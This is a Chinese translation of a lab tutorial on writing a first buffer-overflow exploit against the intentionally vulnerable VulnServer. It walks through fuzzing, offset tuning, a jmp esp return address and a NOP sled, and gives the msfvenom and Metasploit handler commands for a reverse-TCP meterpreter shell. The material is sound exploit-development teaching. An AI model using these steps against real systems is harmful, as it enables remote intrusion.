[翻译]编写你的第一个Exploit
发表于:
2016-11-28 23:25
6518
编写你的第一个Exploit
1.实验设置
a.虚拟机
i.windows虚拟机
https://developer.microsoft.com/en-us/microsoft-edge/to ols/vms/
ii.kali虚拟机
https://www.kali.org/downloads/
b.软件安装
i.下载windows虚拟机上的VulnServer
http://www.thegreycorner.com/2010/12/introducing-vulns erver.html
ii.下载windows虚拟机上的Immunity
http://debugger.immunityinc.com/ID_register.py
iii.下载windows虚拟机上的mona.py
https://github.com/corelan/mona/blob/master/mona.py
下载完成后,放置在例如如下路径下:
C:\ProgramFiles\ImmunityInc\ImmunityDebugger\PyCom mands
iv.下载windows上的arwin.exe
http://www.fuzzysecurity.com/tutorials/expDev/tools/arwi n.rar
2.c语言中的缓冲区溢出
a.简单的c程序
1.Printf
printf()函数用来将数据打印到屏幕上,经常会用到替换功能。
printf(“hello”)会在屏幕上输出hello,而下面的语句:
char name[5]=“Rob”
printf(“hello %s”,name)
则会输出hello Rob。
2.Strcpy
strcpy用来将一个字符串拷贝到另一个地方。该函数不会去检查 目的地能否装得下复制源的字符。如果复制源的字符串长度超过 了目的地的容量,那么复制过程依然会进行,同时超出的数据就 会被复制到目的地的后面。
b.缓冲区溢出的例子
simpleoverflow.c
c.函数调用与栈
1.进行了函数调用后的栈会以相同的方式分配同样大小的内存。
序运行每个函数的本地栈都会以相同得方式创建和销毁。
存器中找到,这个寄存器被称为EBP。在下面的伪代码中,变量 x的偏移将会是0,因为他是栈中的第一个变量。因此x在栈上的 地址可以用ebp+0来描述。如果我们假设整形是4字节长,那 么接下来的一个变量--字符型,取名为c--的偏移将会是4。同样, 如果字符串的长度为一个字节,那么z的偏移为5。
当一个函数被调用的时候,比如说主函数中的函数f--控制权将会 被转交给函数f,然而主函数依然需要被完成。主函数必须在I1 处 恢复恢复执行。因此,在将控制权交给函数f的时候I1处的地址 和指向main函数本地栈的指针必须被保存下来。如果I1处的地 址没有保存,那么main函数就不能被恢复执行。如果是本地栈 指针没有被保存,那么main函数恢复的时候就不能再访问在调 用函数f之前的数据了。 因为每一个变量是“面向远离”栈的基址的(其实就是栈的增长方式是从高地址向低地址),写入到变量Z中的数据将会向栈基址蔓延。在上图中,比较容易观察溢出Z的内容的后果,Z中超出的数据将会溢出到c和x中。如果有足够的数据被输入进去,那么他甚至可以覆盖掉在函数调用时保存的所有的控制信息。
这就是缓冲区溢出利用的目标。想要将很多的数据输入到一个脆弱变量上,然后导致溢出从而覆盖掉函数的返回地址。一旦我们可以预测到返回地址放置在哪里,我们就可以用一个跳转指令的地址来覆盖原来的返回地址,而这个跳转指令会重定向程序的执行路径,使其在函数g()完成后转而执行我们的payload。我们基本是劫持调用了函数g()的函数的栈来确保我们的payload的执行。 3.python简单socket编程
a.基本脚本结构
i.import
import命令会加载一个库。我们可以使用socket和sys库。
ii.缩进携带语义内容
Python中的制表符与大多数其他编程语言中的大括号一样具有相同的功能:指定要包含在控件结构体中的指令。 b.socket.socket()
语句:
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
创建了一个socket类型的实例,名字叫conn.常量socket.AF_INET 表明这个一个IPv4的套接字。常量socket.SOCK_STREAM 表明她会使用TCP链接。
c.socket.connect()
语句:
conn.connect((“192.168.1.2”, 80))
让之前创建的套接字实例用三次握手的方法去链接一个指定的IP和端口。注意那个IP是一个字符串,而端口号是一个整型.同样要注意双重双括号的设置;connect函数需要一个参数 - 一个有序对。
D.socket.recv()
语句:
Conn.recv(1024)
这将会尝试从套接字中读取1024个字节的数据。这是一个块读取;脚本会一直等待直到1024个字节都被读取了或者是遇到了空字符。
e.写一个横幅抓取器
看bannergrabber.py
4.python中有用的socket编程
a.Sys.argv
一个开发者可以通过使用sys库来从使用者那里获取 命令行参数。Sys.argv[]就是一个从命令行那个获取到 的数据的数组。
如果我运行命令:python print_name.py Rob 6,sys.argv[0]将会是print_name.py。Sys.argv[1]将会是 Rob,然后sys.argv[2]将会是6.
b.for loops
所有for循环指定循环开始的值,循环终止的值和增 量。 在python中,语法是:
For i in range(0,10):
Print “Hello Rob”
c.socket.settimeout)()
.settimeout()函数允许程序员指定在socket()抛出时间耗尽异常前的最大等待时间。比如:conn.settimeout(5)
d.try/except
i.Syntax
try:
Some code
except:
code to execute on any error
OR
try:
some code
exept socket.timeout:
code to execute on socket timeout error
ii.socket.error
当一个已经链接的套接字收到RST的时候会抛出这个 异常。
iii.socket.timeout
当套接字在等待了一些时间后没有收到任何数据的 话,就会抛出这个异常。
e.写一个端口扫描器
看port-scanner.py
5.Fuzzing
a.socket.send()
.send()函数通过已经连接的套接字传输数据。 到达 目的地以适当地处理该数据。
b.与网络服务进行交互
大多数网络服务命令具有以下语法:
<command> <argument> \ r \ n
例如,通过SMTP指定用户使用user命令:
user rob \ r \ n
c.Fuzzing
Fuzzing是尝试增量更多的恶意输入,直到应用程序崩 溃的过程。 在上面的情况下,可以fuzz SMTP用户命 令通过尝试更长和更长的用户名来引发缓冲区溢出:
for i in range(0,10000,10):
badname=”A”*i
conn.send(“user %s\r\n” % badname)\
这将会尝试长度在0到10000之间,步长为10的 uernames。
d.写一个模糊测试器。
i.我们将在vulnserver上模糊测试RUN命令。 请注 意,当命 令的参数以句点开头时,TRUMP仅易受缓 冲区溢出的影响。
ii.看fuzzer.py
e.在immunity中观察崩溃
当在immunity中观察的时候,你得注意eip值。 这 将指示您的恶意输入的哪部分正在覆盖堆栈上保存 的指令地址。当脆弱的函数返回时,您的恶意输入 将从堆栈中删除,并加载到指令指针,就像它是一 个真正的指令的地址。
6.控制崩溃
a.微调你的崩溃
通常我们需要精确的知道崩溃发生的位置;具体是那 些字节覆 盖了指令地址。然而模糊测试却经常留给我 们一个大致的范围。 为了精确查找这个地址,我们可 以通过从模糊器中删除for循 环并向我们的恶意输入 添加一些区分来微调它。比如,如果你知 道一个70字 节的溢出将会导致崩溃,你可能使用下面的恶意字 符 串:
Badstr=”A”*70+”B”*4+”C”*10
如果你观察到任何的\x41出现在了寄存器里,如此你 就有了太 多的“垃圾”,你可能需要按照如下的方法调 整:
Badtr=”A”*68+”B”*4+”C”*10
如果你观察到任何的\x43值,你又没有足够的“垃圾”, 你可 能得像下面这样调整:
Badstr=”A”*72+”B”*4+”C”*10
这样的目的是微微调整exp,直到你的eip寄存器在崩 溃的时候 读取的值是\x42\x42\x42\x42。这就是在告诉 你赶紧把重定向 用的指令的地址写进去吧。
b.定位跳转指令
这个特定的exploit需要一个跳转指令来将代码的执行过程引导 到栈顶(jmp esp).Immunity Debugger 有一个查找工具可以允 许你查找一些特定的指令。要想使用它,可以通过在反汇编窗口 中右键。
注意,因为现代的计算机有些会采用小端法来存一些非单字节类 型的数据,所以在你找到的任何地址都需要重新排列一下他们的 字节顺序。如果Immunity指示在地址12345678发现了一个跳 转指令,那么你应该按照以下的方式将其插入到你的exploit中:
eip=”\x78\x56\x34\x12”
这些指令可能不会一直都是很容易得到的。Immunity有一个模 块视图工具(可以通过悬停在应用程序顶部的控件上找到),他可以 让你查看应用程序加载了的所有模块。通常,只要这些模块没有 开启ASLR的话,从他们中的任何一个中挑选的跳转指令都是足 够使用的。
ASLR是一种技术,旨在通过在每个程序运行期间将指令加载到 不同的地址来最小化可以利用缓冲区溢出漏洞的程度。 我们可以 通过使用mona.py来确定哪些模块支持ASLR。
在Immunity窗口底部的栏中,键入:
!mona moudles
任何加载的模块不开启ASLR也应该工作。 对于VulnServer, vulnserver.exe和essfunc.dll同样如此。 然而,Vulnserver.exe 没有任何jmp esp指令。
c.添加NOP底座
在理想情况下,我们将能够以以下方式构造漏洞:
badcmd=garbage+eip+payload
然而,实际上,当发生函数调用时可以保存附加控制数据。 结果, 堆栈指针 - 我们跳转到的地址 - 可能不会指向紧接在保存的指 令地址之前的字节。
要解决这个问题,就只有填充NOP。NOP被汇编为“无操作” 或者是“不作为”。通过在我们的恶意字符串中的跳转地址和有 效载荷之间插入一系列NOP,我们可以保证有效载荷被执行。只 要jmp esp指令将代码执行重定向到任何一个NOP,其余的将 被执行 并且处理器将“滑动”直到它击中有效载荷。
7.完成Exploit
a.生成payload
可以使用以下bash命令生成reverse-tcp meterpreter stager 有效内容。 注意,标志(-b)和该标志(\ x00)的值之间始终 有一个空格。、
msfvenom –p windows/meterpreter/reverse_tcp
LHOST=<YOURIPHERE> LPORT=8421 –b \x00 –e
x86/shikata_ga_nai –f python
-p 指示payload将会被编码。
LHOST和LPORT值是meterpreter有效负载的参数。注意: HOST必须是Kali VM的IP。
-b 引用不能出现在shellcode中的字节。提供的示例, 空 字 节(\ x00)终止套接字读取。如果出现在有效载荷 中,它将终止 有效载荷的套接字读取。这里可能还有 其 他特殊字节。
-e指定有效负载的编码方案。 它会显示为shellcode? Powerscript?
-f指定exploit的语言。您将能够简单地复制并粘贴 msfvenom的输出到您的exploit。
一旦生成了有效载荷,它只需要在nop sled之后附加到恶意字符串。 在这一点上,你的恶意字符串的结构应该是:
garbage = "A" * 2006
eip = "\xAF\x11\x50\x62"
nop_sled = "\x90" * 24
buf=””
buf+=<code omitted for brevity>
badstr=garbage+eip+nopsled+buf+”\r\n”
b.设置handler
在单独的终端选项卡中,我们可以运行命令msfconsole来启动 Metasploit控制台。 一旦Metasploit控制台打开,我们将运行 以下命令序列来启动Meterpreter处理程序:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <yourkaliIP>
set lport <someport>
exploit
c.Exploitation
在这一点上,你应该准备好试用你的exploit。 运行你的exploit 脚本后,Meterpreter处理程序应该告诉你你有一个打开的 Meterpreter会话。
看exploit.py
8.写一个自定义的payload(如果时间允许的话)
看custom-payload-calc.py and custom-payload-add-user.py
9.参考
参考列表可以在演讲笔记开头列出的GitHub存储库中找到。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课